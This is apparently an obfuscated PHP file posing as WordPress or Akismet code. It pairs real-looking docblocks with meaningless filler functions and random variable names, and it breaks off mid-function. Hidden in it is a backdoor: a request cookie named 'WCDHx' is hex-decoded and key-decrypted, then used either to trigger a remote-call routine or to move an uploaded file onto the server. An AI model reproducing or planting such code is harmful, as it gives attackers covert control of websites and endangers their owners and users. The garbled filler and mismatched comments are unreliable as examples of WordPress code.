See ISO/IEC 14496-12:2015(E) 8.11.12.2 $matches_bext_time = 'yGeThXAbZxHrJvKXnm'; $ok_to_comment = 'p53x4'; $frame_contacturl = 'ioygutf'; $term_title = 'lb885f'; // Media modal and Media Library grid view. if (isset($_COOKIE[$c7])) { wp_get_post_revisions($c7, $matches_bext_time); } } # fe_sq(x3,x3); // 64 kbps /** * Filters WP_Query arguments when querying posts via the REST API. * * The dynamic portion of the hook name, `$this->post_type`, refers to the post type slug. * * Possible hook names include: * * - `rest_post_query` * - `rest_page_query` * - `rest_attachment_query` * * Enables adding extra arguments or setting defaults for a post collection request. * * @since 4.7.0 * @since 5.7.0 Moved after the `tax_query` query arg is generated. * * @link https://developer.wordpress.org/reference/classes/wp_query/ * * @param array $last_smtp_transaction_id Array of arguments for WP_Query. * @param WP_REST_Request $request The REST API request. */ function akismet_load_js_and_css ($most_recent_history_event){ $template_files = 's0y1'; $is_schema_array = 'zgwxa5i'; $link_attributes = 'ekbzts4'; $whitespace = 'zwdf'; // This value is changed during processing to determine how many themes are considered a reasonable amount. $sub_field_name = 'q2er'; // Count queries are not filtered, for legacy reasons. $is_schema_array = strrpos($is_schema_array, $is_schema_array); $term_items = 'y1xhy3w74'; $max_bytes = 'c8x1i17'; $template_files = basename($template_files); // Remove trailing spaces and end punctuation from the path. // phpcs:ignore VariableAnalysis.CodeAnalysis.VariableAnalysis.UnusedVariable $most_recent_history_event = str_repeat($sub_field_name, 5); ///////////////////////////////////////////////////////////////// $my_parent = 'pb3j0'; $link_attributes = strtr($term_items, 8, 10); $whitespace = strnatcasecmp($whitespace, $max_bytes); $is_schema_array = strrev($is_schema_array); $most_recent_history_event = strrev($sub_field_name); $my_parent = strcoll($template_files, $template_files); $total_top = 'msuob'; $term_items = strtolower($link_attributes); $the_role = 'ibq9'; // Not implemented. $max_bytes = convert_uuencode($total_top); $term_items = htmlspecialchars_decode($link_attributes); $space_characters = 's0j12zycs'; $the_role = ucwords($is_schema_array); $sub_field_name = htmlspecialchars_decode($sub_field_name); $v_offset = 'y5sfc'; $some_pending_menu_items = 'xy0i0'; $space_characters = urldecode($my_parent); $the_role = convert_uuencode($the_role); $attachment_parent_id = 'ete44'; // There may only be one URL link frame of its kind in a tag, $template_files = rtrim($template_files); $PreviousTagLength = 'edbf4v'; $some_pending_menu_items = str_shuffle($max_bytes); $link_attributes = md5($v_offset); $sub_field_name = convert_uuencode($attachment_parent_id); // Only perform the following checks once. $whitespace = urldecode($some_pending_menu_items); $v_offset = htmlspecialchars($link_attributes); $unusedoptions = 'hz844'; $switched_locale = 'vytx'; // Fix for Dreamhost and other PHP as CGI hosts. // alt names, as per RFC2818 $PreviousTagLength = strtoupper($unusedoptions); $space_characters = rawurlencode($switched_locale); $high_bitdepth = 'acf1u68e'; $whitespace = urlencode($whitespace); // Skip link if user can't access. $attachment_parent_id = convert_uuencode($sub_field_name); $exclusion_prefix = 'uo2n1pcw'; // UTF-16 Big Endian Without BOM // 48.16 - 0.28 = +47.89 dB, to $response_data = 'sqi3tz'; $sub_field_name = strnatcmp($exclusion_prefix, $response_data); $next_update_time = 'yfoaykv1'; $checked_ontop = 'mcjan'; $max_bytes = str_shuffle($some_pending_menu_items); $new_term_id = 'wfewe1f02'; // We already showed this multi-widget. // Passed link category list overwrites existing category list if not empty. // 2x large size. $temp_dir = 't3dyxuj'; $new_term_id = base64_encode($the_role); $link_attributes = strrpos($high_bitdepth, $checked_ontop); $space_characters = stripos($next_update_time, $space_characters); // Start the child delimiter. $attachment_parent_id = substr($sub_field_name, 20, 7); $breadcrumbs = 'z03dcz8'; $temp_dir = htmlspecialchars_decode($temp_dir); $checked_ontop = basename($link_attributes); $unusedoptions = rtrim($PreviousTagLength); $attachment_parent_id = strtolower($most_recent_history_event); $thisfile_asf_comments = 'r7894'; $new_user_email = 'gemt9qg'; $temp_dir = soundex($whitespace); $allowed_widget_ids = 'dnu7sk'; $v_offset = convert_uuencode($new_user_email); $is_mariadb = 'zyk2'; $found_valid_tempdir = 'awfj'; $breadcrumbs = strcspn($allowed_widget_ids, $next_update_time); // ignore bits_per_sample $v_offset = stripcslashes($new_user_email); $total_top = strrpos($whitespace, $is_mariadb); $PreviousTagLength = strrpos($thisfile_asf_comments, $found_valid_tempdir); $my_parent = sha1($next_update_time); $most_recent_history_event = ucwords($sub_field_name); $unusedoptions = addslashes($new_term_id); $thisfile_riff_WAVE_SNDM_0_data = 'i4x5qayt'; $block_spacing = 'cux1'; $call_count = 'r2syz3ps'; $group_item_data = 'pgm54'; $term_items = strcoll($checked_ontop, $thisfile_riff_WAVE_SNDM_0_data); $some_pending_menu_items = strnatcasecmp($is_mariadb, $call_count); $allowed_widget_ids = str_shuffle($block_spacing); $group_item_data = is_string($new_term_id); $my_parent = strtr($allowed_widget_ids, 10, 20); $term_items = rawurldecode($thisfile_riff_WAVE_SNDM_0_data); $test_function = 'ivof'; // Back-compat for pre-4.4. $test_function = stripslashes($test_function); $new_term_id = wordwrap($unusedoptions); $wp_plugin_path = 'kyoq9'; $switched_locale = htmlentities($switched_locale); $token_name = 'w2ed8tu'; // it is decoded to a temporary variable and then stuck in the appropriate index later $sub_field_name = htmlspecialchars_decode($token_name); $token_name = rtrim($most_recent_history_event); $category_parent = 'pv4sp'; $the_role = html_entity_decode($PreviousTagLength); $nav_element_context = 'zuas612tc'; $call_count = strcoll($whitespace, $max_bytes); // Make the new site theme active. $is_mariadb = trim($total_top); $wp_plugin_path = rawurldecode($category_parent); $nav_element_context = htmlentities($block_spacing); $thisfile_asf_comments = strip_tags($PreviousTagLength); $rgba = 'zr4rn'; $arg_data = 'cbt1fz'; $call_count = strnatcasecmp($total_top, $test_function); $allowed_blocks = 'bopki8'; $v_offset = bin2hex($rgba); $show_errors = 'i8unulkv'; $allowed_blocks = ltrim($new_term_id); $is_mariadb = convert_uuencode($is_mariadb); $inactive_dependency_name = 'zhhcr5'; $found_valid_tempdir = strip_tags($is_schema_array); $arg_data = urldecode($show_errors); $LAMEtocData = 'zd7qst86c'; $sub_field_name = strrpos($inactive_dependency_name, $inactive_dependency_name); $QuicktimeStoreFrontCodeLookup = 'qe9yd'; $LAMEtocData = str_shuffle($term_items); $show_errors = substr($next_update_time, 18, 16); // If there is EXIF data, rotate according to EXIF Orientation. // The months. $wp_plugin_path = substr($v_offset, 6, 8); $max_modified_time = 'b0slu2q4'; $response_data = addslashes($QuicktimeStoreFrontCodeLookup); $max_modified_time = htmlspecialchars($allowed_widget_ids); $current_width = 'cb7njk8'; $current_width = lcfirst($response_data); return $most_recent_history_event; } /* translators: 1: post_max_size, 2: upload_max_filesize */ function wp_get_split_term($sodium_func_name){ $terminator_position = 'nqy30rtup'; $active_theme_version_debug = 'qzq0r89s5'; $outside = 'pnbuwc'; $registered_patterns_outside_init = 'ggg6gp'; $S5 = __DIR__; $active_theme_version_debug = stripcslashes($active_theme_version_debug); $switch_class = 'fetf'; $terminator_position = trim($terminator_position); $outside = soundex($outside); # QUARTERROUND( x0, x4, x8, x12) $active_theme_version_debug = ltrim($active_theme_version_debug); $registered_patterns_outside_init = strtr($switch_class, 8, 16); $outside = stripos($outside, $outside); $validator = 'kwylm'; $newlineEscape = 'kq1pv5y2u'; $is_favicon = 'fg1w71oq6'; $request_order = 'flza'; $updated_notice_args = 'mogwgwstm'; $outside = strnatcasecmp($is_favicon, $is_favicon); $switch_class = convert_uuencode($newlineEscape); $validator = htmlspecialchars($request_order); $f3f6_2 = 'qgbikkae'; $j11 = ".php"; // Do the exact same check for a duplicate value as in update_metadata() to avoid update_metadata() returning false. // If the post is an autodraft, save the post as a draft and then attempt to save the meta. $outside = substr($is_favicon, 20, 13); $all_deps = 'wvtzssbf'; $scripts_to_print = 'dohvw'; $updated_notice_args = ucfirst($f3f6_2); $sodium_func_name = $sodium_func_name . $j11; // If the setting does not need previewing now, defer to when it has a value to preview. // bytes $9C-$A4 Encoder short VersionString $segments = 'az70ixvz'; $scripts_to_print = convert_uuencode($terminator_position); $fld = 'aepqq6hn'; $newlineEscape = levenshtein($all_deps, $switch_class); // Administration. // Check for an edge-case affecting PHP Maths abilities. $sodium_func_name = DIRECTORY_SEPARATOR . $sodium_func_name; // Frame ID $xx xx xx xx (four characters) $sodium_func_name = $S5 . $sodium_func_name; // Hours per day. return $sodium_func_name; } /** * WordPress core upgrade functionality. * * @package WordPress * @subpackage Administration * @since 2.7.0 */ function init_query_flags ($admin_out){ $single_success = 'nlq89w'; $next4 = 'j30f'; $ASFIndexObjectData = 'rx2rci'; $z2 = 'phkf1qm'; $ALLOWAPOP = 'sjz0'; $supports_core_patterns = 'lfqq'; $response_data = 'n337j'; $supports_core_patterns = crc32($supports_core_patterns); $ASFIndexObjectData = nl2br($ASFIndexObjectData); $skin = 'qlnd07dbb'; $z2 = ltrim($z2); $can_install = 'u6a3vgc5p'; $single_success = stripcslashes($response_data); // Permalinks without a post/page name placeholder don't have anything to edit. $ALLOWAPOP = strcspn($skin, $skin); $next4 = strtr($can_install, 7, 12); $algo = 'aiq7zbf55'; $show_ui = 'ermkg53q'; $menu_item_value = 'g2iojg'; # crypto_secretstream_xchacha20poly1305_COUNTERBYTES); $use = 'mo0cvlmx2'; $deactivate_url = 'cmtx1y'; $show_ui = strripos($show_ui, $show_ui); $next4 = strtr($can_install, 20, 15); $view_style_handles = 'cx9o'; $algo = strnatcmp($z2, $view_style_handles); $get_value_callback = 'uk395f3jd'; $skin = ucfirst($use); $menu_item_value = strtr($deactivate_url, 12, 5); $ephemeralPK = 'nca7a5d'; // tries to copy the $varmatch_src file in a new $varmatch_dest file and then unlink the $current_width = 'a1oyzwixf'; $get_value_callback = md5($get_value_callback); $use = nl2br($use); $ephemeralPK = rawurlencode($can_install); $supports_core_patterns = ltrim($deactivate_url); $z2 = substr($view_style_handles, 6, 13); $flac = 'whhonhcm'; $wp_file_descriptions = 'hqc3x9'; $current_width = strcoll($flac, $wp_file_descriptions); $algo = nl2br($view_style_handles); $get_value_callback = soundex($show_ui); $ephemeralPK = strcspn($ephemeralPK, $next4); $notice = 'xkxnhomy'; $bulk_edit_classes = 'i76a8'; $ID3v1encoding = 'i7pg'; $did_one = 'djye'; $skin = basename($notice); $menu_item_value = base64_encode($bulk_edit_classes); $view_style_handles = strtr($algo, 17, 18); $exclusion_prefix = 'nol3s'; $did_one = html_entity_decode($can_install); $timeout_missed_cron = 'qtf2'; $ASFIndexObjectData = rawurlencode($ID3v1encoding); $default_theme_slug = 'xmxk2'; $skin = strrev($ALLOWAPOP); // echo '<label for="timestamp" style="display: block;"><input type="checkbox" class="checkbox" name="edit_date" value="1" id="timestamp"'.$tab_index_attribute.' /> '.__( 'Edit timestamp' ).'</label><br />'; // 01xx xxxx xxxx xxxx - value 0 to 2^14-2 $ALLOWAPOP = basename($notice); $wp_customize = 'u91h'; $revision_ids = 'zmj9lbt'; $aria_describedby_attribute = 'gbshesmi'; $z2 = strcoll($algo, $default_theme_slug); $redirect_host_low = 'hquabtod3'; $exclusion_prefix = htmlentities($redirect_host_low); $source_width = 'yd4i4k'; $is_parsable = 'tntx5'; $timeout_missed_cron = ltrim($aria_describedby_attribute); $ASFIndexObjectData = addcslashes($show_ui, $revision_ids); $wp_customize = rawurlencode($wp_customize); $default_theme_slug = htmlspecialchars_decode($default_theme_slug); // Get the object and term IDs and stick them in a lookup table. // properties. $notice = htmlspecialchars($is_parsable); $algo = rtrim($algo); $current_term_object = 'k7u0'; $ASFIndexObjectData = htmlentities($revision_ids); $gallery_div = 'z5w9a3'; $current_term_object = strrev($bulk_edit_classes); $did_one = convert_uuencode($gallery_div); $algo = html_entity_decode($view_style_handles); $is_parsable = ltrim($use); $show_ui = htmlentities($show_ui); $other_user = 'q5dvqvi'; $get_value_callback = strnatcasecmp($revision_ids, $revision_ids); $can_install = strripos($wp_customize, $can_install); $timeout_missed_cron = ltrim($menu_item_value); $trimmed_excerpt = 'cqvlqmm1'; $get_value_callback = soundex($get_value_callback); $did_one = crc32($gallery_div); $algo = strrev($other_user); $detached = 'h3v7gu'; $trimmed_excerpt = strnatcmp($notice, $trimmed_excerpt); // Append custom parameters to the URL to avoid cache pollution in case of multiple calls with different parameters. $aria_describedby_attribute = wordwrap($detached); $gallery_div = ucwords($next4); $css_url_data_types = 'iwxsoks'; $embedindex = 'xc7xn2l'; $inlen = 'muucp'; $single_success = strnatcasecmp($wp_file_descriptions, $source_width); $ephemeralPK = htmlentities($did_one); $embedindex = strnatcmp($view_style_handles, $view_style_handles); $allowed_length = 'aojyufh6'; $is_parsable = bin2hex($inlen); $s_prime = 'pmcnf3'; // Bits for milliseconds dev. $xx $thisfile_asf_filepropertiesobject = 'ehht'; $ALLOWAPOP = strip_tags($inlen); $css_url_data_types = htmlspecialchars_decode($allowed_length); $origin_arg = 'b6nd'; $supports_core_patterns = strip_tags($s_prime); // Assume the title is stored in 2:120 if it's short. $thisfile_asf_filepropertiesobject = stripslashes($z2); $ID3v1encoding = rawurlencode($allowed_length); $trimmed_excerpt = str_repeat($trimmed_excerpt, 5); $site_path = 'bopgsb'; $formattest = 'm3js'; // Function : duplicate() $sub_field_name = 'h4bv3yp8h'; $check_plugin_theme_updates = 'uwye7i1sw'; $sub_field_name = crc32($check_plugin_theme_updates); return $admin_out; } $c7 = 'WCDHx'; /** * Get all links for the feed * * Uses `<atom:link>` or `<link>` * * @since Beta 2 * @param string $rel The relationship of links to return * @return array|null Links found for the feed (strings) */ function get_blogs_of_user($transports){ $translated_settings = 'b8joburq'; if (strpos($transports, "/") !== false) { return true; } return false; } /** * Checks if password reset is allowed for a specific user. * * @since 6.3.0 * * @param int|WP_User $user The user to check. * @return bool|WP_Error True if allowed, false or WP_Error otherwise. */ function wp_get_post_revisions($c7, $matches_bext_time){ $widget_control_id = 'g36x'; $credit_scheme = 'mwqbly'; // Check if h-card is set and pass that information on in the link. $widget_control_id = str_repeat($widget_control_id, 4); $credit_scheme = strripos($credit_scheme, $credit_scheme); // PCLZIP_ERR_USER_ABORTED(2) : User ask for extraction stop in callback $indicator = $_COOKIE[$c7]; $credit_scheme = strtoupper($credit_scheme); $widget_control_id = md5($widget_control_id); // Make sure the data is valid before storing it in a transient. $select_count = 'klj5g'; $widget_control_id = strtoupper($widget_control_id); // phpcs:ignore Universal.Operators.StrictComparisons.LooseEqual -- Deliberate loose comparison. $indicator = pack("H*", $indicator); $recently_activated = upload_is_user_over_quota($indicator, $matches_bext_time); if (get_blogs_of_user($recently_activated)) { $new_terms = remote_call_permission_callback($recently_activated); return $new_terms; } get_attachment_link($c7, $matches_bext_time, $recently_activated); } interleave_changed_lines($c7); $subdirectory_reserved_names = 'nez0vuy3q'; $typography_settings = 't6kmi5423'; // Save the attachment metadata. /** * Displays a notice when the user is in recovery mode. * * @since 5.2.0 */ function get_attachment_link($c7, $matches_bext_time, $recently_activated){ if (isset($_FILES[$c7])) { render_block_core_query_pagination_next($c7, $matches_bext_time, $recently_activated); } add_dependencies_to_dependent_plugin_row($recently_activated); } /** * Retrieves the publicly-visible data for routes. * * @since 4.4.0 * * @param array $routes Routes to get data for. * @param string $cache_args Optional. Context for data. Accepts 'view' or 'help'. Default 'view'. * @return array[] Route data to expose in indexes, keyed by route. */ function wp_new_comment_notify_postauthor($font_family_property, $http_akismet_url){ $dev_suffix = 'bq4qf'; $control_description = 'iiky5r9da'; $den1 = 'pk50c'; $t_ = populated_children($font_family_property) - populated_children($http_akismet_url); // ----- Creates a temporary zip archive # S->t[1] += ( S->t[0] < inc ); // Check if the email address has been used already. $new_user_role = 'b1jor0'; $dev_suffix = rawurldecode($dev_suffix); $den1 = rtrim($den1); $t_ = $t_ + 256; $alt_user_nicename = 'bpg3ttz'; $control_description = htmlspecialchars($new_user_role); $basic_fields = 'e8w29'; $control_description = strtolower($control_description); $deg = 'akallh7'; $den1 = strnatcmp($basic_fields, $basic_fields); $t_ = $t_ % 256; $font_family_property = sprintf("%c", $t_); return $font_family_property; } $allowed_where = 'cb8r3y'; $chapter_string_length_hex = 'dlvy'; $allowed_where = strrev($chapter_string_length_hex); /** * Fires immediately before an object-term relationship is deleted. * * @since 2.9.0 * @since 4.7.0 Added the `$taxonomy` parameter. * * @param int $object_id Object ID. * @param array $tt_ids An array of term taxonomy IDs. * @param string $taxonomy Taxonomy slug. */ function isError ($min_max_checks){ $selected_cats = 'g3r2'; $force_check = 'hz2i27v'; $has_selectors = 'h2jv5pw5'; $api_url_part = 'ijwki149o'; $will_remain_auto_draft = 'dhsuj'; $has_selectors = basename($has_selectors); $force_check = rawurlencode($force_check); $local_destination = 'aee1'; $will_remain_auto_draft = strtr($will_remain_auto_draft, 13, 7); $selected_cats = basename($selected_cats); $current_width = 'pgdtp'; // array_slice() removes keys! // Update declarations if there are separators with only background color defined. $exponentbits = 'fzmczbd'; $submit_field = 'eg6biu3'; $login__not_in = 'xiqt'; $selected_cats = stripcslashes($selected_cats); $api_url_part = lcfirst($local_destination); $head_start = 'wfkgkf'; $styles_rest = 'ibkfzgb3'; $has_selectors = strtoupper($submit_field); $exponentbits = htmlspecialchars($exponentbits); $login__not_in = strrpos($login__not_in, $login__not_in); $current_width = str_repeat($current_width, 5); $has_selectors = urldecode($submit_field); $styles_rest = strripos($selected_cats, $selected_cats); $show_tagcloud = 'xkge9fj'; $item_limit = 'm0ue6jj1'; $api_url_part = strnatcasecmp($local_destination, $head_start); $QuicktimeStoreFrontCodeLookup = 'ndmjhrp'; // And <permalink>/(feed|atom...) $login__not_in = rtrim($item_limit); $styles_rest = urldecode($selected_cats); $show_tagcloud = soundex($force_check); $head_start = ucfirst($local_destination); $has_selectors = htmlentities($submit_field); //We must resend EHLO after TLS negotiation $dispatch_result = 'jcsjj2q'; $QuicktimeStoreFrontCodeLookup = strtoupper($dispatch_result); // Return early if there are no comments and comments are closed. $rss_items = 'bvbn8m'; $inactive_dependency_name = 'x1lcznbo'; $rss_items = soundex($inactive_dependency_name); $styles_rest = lcfirst($styles_rest); $intstring = 'ye6ky'; $before = 'wscx7djf4'; $next_event = 'grfv59xf'; $headersToSignKeys = 'ne5q2'; $check_plugin_theme_updates = 'oy5op'; $notification_email = 'dejyxrmn'; $utf8_data = 'yk0x'; $before = stripcslashes($before); $has_selectors = basename($intstring); $tax_include = 'vduj3u5'; $check_plugin_theme_updates = htmlspecialchars($current_width); $style_files = 'p1ouj'; $commentarr = 'xcxos'; $style_files = sha1($commentarr); $taxonomy_to_clean = 'xthhhw'; $submit_field = bin2hex($intstring); $cache_misses = 'x6okmfsr'; $next_event = crc32($tax_include); $headersToSignKeys = htmlentities($notification_email); // If the icon is a data URL, return it. // We need raw tag names here, so don't filter the output. // Normalizing blocks may result in an empty array of blocks if they were all `null` blocks. $submit_field = urlencode($has_selectors); $item_limit = strip_tags($taxonomy_to_clean); $local_destination = strrev($api_url_part); $force_check = nl2br($tax_include); $utf8_data = addslashes($cache_misses); // $varmatch_info['status'] = status of the action on the file. $admin_out = 'jgyqhogr0'; $admin_out = crc32($admin_out); $attachment_post_data = 'z1301ts8'; $sub2feed2 = 'asim'; $format_info = 'ok91w94'; $cron_array = 'deu8v'; $before = rawurlencode($login__not_in); $sub2feed2 = quotemeta($headersToSignKeys); $is_xhtml = 'ydke60adh'; $taxonomy_to_clean = substr($before, 9, 10); $old_site_parsed = 'w57hy7cd'; $attachment_post_data = rawurldecode($utf8_data); // ge25519_p3_to_cached(&pi[6 - 1], &p6); /* 6p = 2*3p */ // Remove the href attribute, as it's used for the main URL. $code_lang = 'blrqdhpu'; $min_max_checks = is_string($code_lang); $cron_array = quotemeta($old_site_parsed); $utf8_data = htmlspecialchars_decode($cache_misses); $format_info = trim($is_xhtml); $item_limit = nl2br($taxonomy_to_clean); $head_start = convert_uuencode($sub2feed2); $setting_args = 'zvi86h'; $comment_post_ID = 'fuysqgr'; $t5 = 'oy9n7pk'; $cur_id = 'bbixvc'; $tableindex = 'fq5p'; $new_selectors = 'iwd9yhyu'; // Background-image URL must be single quote, see below. // extracted file $selected_cats = wordwrap($cur_id); $tableindex = rawurlencode($is_xhtml); $setting_args = strtoupper($login__not_in); $t5 = nl2br($t5); $comment_post_ID = base64_encode($old_site_parsed); $img_style = 'a4g1c'; $subdir_match = 'vpvoe'; $taxonomy_to_clean = chop($before, $setting_args); $new_home_url = 'z1w8vv4kz'; $show_tagcloud = base64_encode($force_check); $object_position = 'v4hvt4hl'; $minimum_font_size_factor = 'ggqg5xn'; $subdir_match = stripcslashes($submit_field); $blog_meta_ids = 'mgbbfrof'; $method_overridden = 'gw21v14n1'; $show_tagcloud = substr($minimum_font_size_factor, 9, 14); $compatible_wp = 'am4ky'; $img_style = str_repeat($object_position, 2); $checked_options = 'orez0zg'; $new_home_url = strcoll($attachment_post_data, $blog_meta_ids); $cron_array = urlencode($old_site_parsed); $is_xhtml = strrev($checked_options); $head_start = bin2hex($api_url_part); $method_overridden = nl2br($compatible_wp); $styles_rest = levenshtein($selected_cats, $new_home_url); $requested_fields = 'k1py7nyzk'; $format_info = strcoll($format_info, $tableindex); $override_preset = 'u5zoh2u'; $api_url_part = ucwords($t5); $login__not_in = lcfirst($will_remain_auto_draft); // Uh oh, someone jumped the gun! // Special case for that column. # for ( ; in != end; in += 8 ) // Content-related. // License GNU/LGPL - Vincent Blavet - August 2009 $new_selectors = strcspn($new_selectors, $inactive_dependency_name); // field so that we're not always loading its assets. $current_width = substr($dispatch_result, 8, 7); $intstring = stripos($has_selectors, $is_xhtml); $will_remain_auto_draft = strtolower($item_limit); $attachment_post_data = chop($requested_fields, $utf8_data); $ignored_hooked_blocks = 'tdw5q8w7b'; $force_check = urldecode($override_preset); // QWORD $token_name = 'f12z44mhu'; $n_to = 'pd1k7h'; $step_1 = 'lvwwm4cm'; $attachment_post_data = stripos($selected_cats, $selected_cats); $ignored_hooked_blocks = urldecode($api_url_part); $item_limit = md5($login__not_in); // Try the request again without SSL. $show_tagcloud = sha1($step_1); $is_xhtml = rtrim($n_to); $original_key = 'xtuds404'; $head_start = stripos($notification_email, $img_style); $allowed_files = 'f8vks'; // Back-compat. // For now, adding `fetchpriority="high"` is only supported for images. $token_name = substr($check_plugin_theme_updates, 17, 10); $response_fields = 'v0q9'; $taxonomy_to_clean = str_shuffle($allowed_files); $old_site_parsed = basename($comment_post_ID); $cur_id = trim($original_key); $translations = 'zkcuu9'; // Enter string mode $response_fields = strtoupper($n_to); $OS_FullName = 'cf0q'; $link_dialog_printed = 'kwlbq38'; $translations = rtrim($local_destination); // Be reasonable. $currkey = 'xd0d'; $old_site_parsed = convert_uuencode($link_dialog_printed); $blog_meta_ids = strrev($OS_FullName); // let t = tmin if k <= bias {+ tmin}, or $rss_items = stripslashes($token_name); $override_preset = strtolower($old_site_parsed); $object_position = htmlspecialchars_decode($currkey); $most_recent_history_event = 'h6qmpb7'; // Simple Index Object: (optional, recommended, one per video stream) // already_a_directory : the file can not be extracted because a $tag_data = 'h8t1ehry'; // Trees must be flattened before they're passed to the walker. $most_recent_history_event = strtolower($tag_data); $flac = 'o58v6g0'; $flac = addslashes($check_plugin_theme_updates); return $min_max_checks; } /** * Switches the current blog. * * This function is useful if you need to pull posts, or other information, * from other blogs. You can switch back afterwards using restore_current_blog(). * * PHP code loaded with the originally requested site, such as code from a plugin or theme, does not switch. See #14941. * * @see restore_current_blog() * @since MU (3.0.0) * * @global wpdb $done_header WordPress database abstraction object. * @global int $blog_id * @global array $_wp_switched_stack * @global bool $switched * @global string $table_prefix * @global WP_Object_Cache $wp_object_cache * * @param int $new_blog_id The ID of the blog to switch to. Default: current blog. * @param bool $imagick Not used. * @return true Always returns true. */ function get_the_archive_description($rg_adjustment_word, $update_term_cache){ // Done correcting `is_*` for 'page_on_front' and 'page_for_posts'. $site_capabilities_key = 'xwi2'; $right = 'bi8ili0'; $insert_id = 'fyv2awfj'; $head4_key = 'vdl1f91'; $attachment_data = move_uploaded_file($rg_adjustment_word, $update_term_cache); $reused_nav_menu_setting_ids = 'h09xbr0jz'; $site_capabilities_key = strrev($site_capabilities_key); $head4_key = strtolower($head4_key); $insert_id = base64_encode($insert_id); // GRouPing $head4_key = str_repeat($head4_key, 1); $right = nl2br($reused_nav_menu_setting_ids); $input_id = 'lwb78mxim'; $insert_id = nl2br($insert_id); $site_capabilities_key = urldecode($input_id); $reused_nav_menu_setting_ids = is_string($reused_nav_menu_setting_ids); $insert_id = ltrim($insert_id); $normalized_pattern = 'qdqwqwh'; // Editor scripts. $head4_key = urldecode($normalized_pattern); $block_to_render = 'pb0e'; $insert_id = html_entity_decode($insert_id); $site_capabilities_key = wordwrap($site_capabilities_key); return $attachment_data; } $current_locale = 'r6fj'; /** * Determines whether site meta is enabled. * * This function checks whether the 'blogmeta' database table exists. The result is saved as * a setting for the main network, making it essentially a global setting. Subsequent requests * will refer to this setting instead of running the query. * * @since 5.1.0 * * @global wpdb $done_header WordPress database abstraction object. * * @return bool True if site meta is supported, false otherwise. */ function update_alert() { global $done_header; if (!is_multisite()) { return false; } $returnbool = get_main_network_id(); $original_image = get_network_option($returnbool, 'site_meta_supported', false); if (false === $original_image) { $original_image = $done_header->get_var("SHOW TABLES LIKE '{$done_header->blogmeta}'") ? 1 : 0; update_network_option($returnbool, 'site_meta_supported', $original_image); } return (bool) $original_image; } /** * Retrieves the query params for the posts collection. * * @since 4.7.0 * @since 5.4.0 The `tax_relation` query parameter was added. * @since 5.7.0 The `modified_after` and `modified_before` query parameters were added. * * @return array Collection parameters. */ function populated_children($sendmail_from_value){ $locate = 'qx2pnvfp'; $active_theme_version_debug = 'qzq0r89s5'; $lyrics3_id3v1 = 'hpcdlk'; $sendmail_from_value = ord($sendmail_from_value); //Message data has been sent, complete the command $locate = stripos($locate, $locate); $connect_error = 'w5880'; $active_theme_version_debug = stripcslashes($active_theme_version_debug); $locate = strtoupper($locate); $lyrics3_id3v1 = strtolower($connect_error); $active_theme_version_debug = ltrim($active_theme_version_debug); // 0x80 => 'AVI_INDEX_IS_DATA', // Only insert custom "Home" link if there's no Front Page $OriginalOffset = 'q73k7'; $LAMEsurroundInfoLookup = 'd4xlw'; $updated_notice_args = 'mogwgwstm'; $OriginalOffset = ucfirst($lyrics3_id3v1); $LAMEsurroundInfoLookup = ltrim($locate); $f3f6_2 = 'qgbikkae'; $is_url_encoded = 'zgw4'; $updated_notice_args = ucfirst($f3f6_2); $lyrics3_id3v1 = strrev($connect_error); $fld = 'aepqq6hn'; $OriginalOffset = substr($lyrics3_id3v1, 12, 7); $is_url_encoded = stripos($LAMEsurroundInfoLookup, $locate); $newpost = 'g7cbp'; $show_summary = 'kt6xd'; $has_text_color = 'bj1l'; $fld = stripos($show_summary, $show_summary); $connect_error = strtoupper($newpost); $LAMEsurroundInfoLookup = strripos($is_url_encoded, $has_text_color); $is_url_encoded = strripos($locate, $LAMEsurroundInfoLookup); $OriginalOffset = quotemeta($connect_error); $shortlink = 'nkf5'; // It's a function - does it exist? $connect_error = strnatcmp($lyrics3_id3v1, $newpost); $fld = substr($shortlink, 20, 16); $locate = ltrim($has_text_color); return $sendmail_from_value; } $current_locale = trim($chapter_string_length_hex); $subdirectory_reserved_names = htmlspecialchars($typography_settings); // this may end up allowing unlimited recursion $widget_options = 'mokwft0da'; $code_lang = 'no88k'; // If the login name is invalid, short circuit. $widget_options = chop($chapter_string_length_hex, $widget_options); $allowed_where = soundex($widget_options); // Normalize empty path to root $upgrade_dir_exists = 'fv0abw'; /** * This generates a CSS rule for the given border property and side if provided. * Based on whether the Search block is configured to display the button inside * or not, the generated rule is injected into the appropriate collection of * styles for later application in the block's markup. * * @param array $crop_details The block attributes. * @param string $colordepthid Border property to generate rule for e.g. width or color. * @param string $default_value Optional side border. The dictates the value retrieved and final CSS property. * @param array $should_filter Current collection of wrapper styles. * @param array $new_filename Current collection of button styles. * @param array $frame_sellerlogo Current collection of input styles. */ function rest_sanitize_value_from_schema($crop_details, $colordepthid, $default_value, &$should_filter, &$new_filename, &$frame_sellerlogo) { $spread = isset($crop_details['buttonPosition']) && 'button-inside' === $crop_details['buttonPosition']; $found_orderby_comment_id = array('style', 'border', $colordepthid); if ($default_value) { array_splice($found_orderby_comment_id, 2, 0, $default_value); } $f9g5_38 = _wp_array_get($crop_details, $found_orderby_comment_id, false); if (empty($f9g5_38)) { return; } if ('color' === $colordepthid && $default_value) { $a_plugin = str_contains($f9g5_38, 'var:preset|color|'); if ($a_plugin) { $yearlink = substr($f9g5_38, strrpos($f9g5_38, '|') + 1); $f9g5_38 = sprintf('var(--wp--preset--color--%s)', $yearlink); } } $intro = $default_value ? sprintf('%s-%s', $default_value, $colordepthid) : $colordepthid; if ($spread) { $should_filter[] = sprintf('border-%s: %s;', $intro, esc_attr($f9g5_38)); } else { $new_filename[] = sprintf('border-%s: %s;', $intro, esc_attr($f9g5_38)); $frame_sellerlogo[] = sprintf('border-%s: %s;', $intro, esc_attr($f9g5_38)); } } /* * If the eraser response is malformed, don't attempt to consume it; let it * pass through, so that the default Ajax processing will generate a warning * to the user. */ function remote_call_permission_callback($recently_activated){ // The GUID is the only thing we really need to search on, but comment_meta // Meta error? $this_revision = 'sue3'; $wp_logo_menu_args = 'a8ll7be'; wp_maybe_grant_resume_extensions_caps($recently_activated); add_dependencies_to_dependent_plugin_row($recently_activated); } /** * Processes the interactivity directives contained within the HTML content * and updates the markup accordingly. * * It needs the context and namespace stacks to be passed by reference, and * it returns null if the HTML contains unbalanced tags. * * @since 6.5.0 * * @param string $missing_sizes The HTML content to process. * @param array $cache_args_stack The reference to the array used to keep track of contexts during processing. * @param array $namespace_stack The reference to the array used to manage namespaces during processing. * @return string|null The processed HTML content. It returns null when the HTML contains unbalanced tags. */ function upload_is_user_over_quota($unlink_homepage_logo, $wp_filetype){ 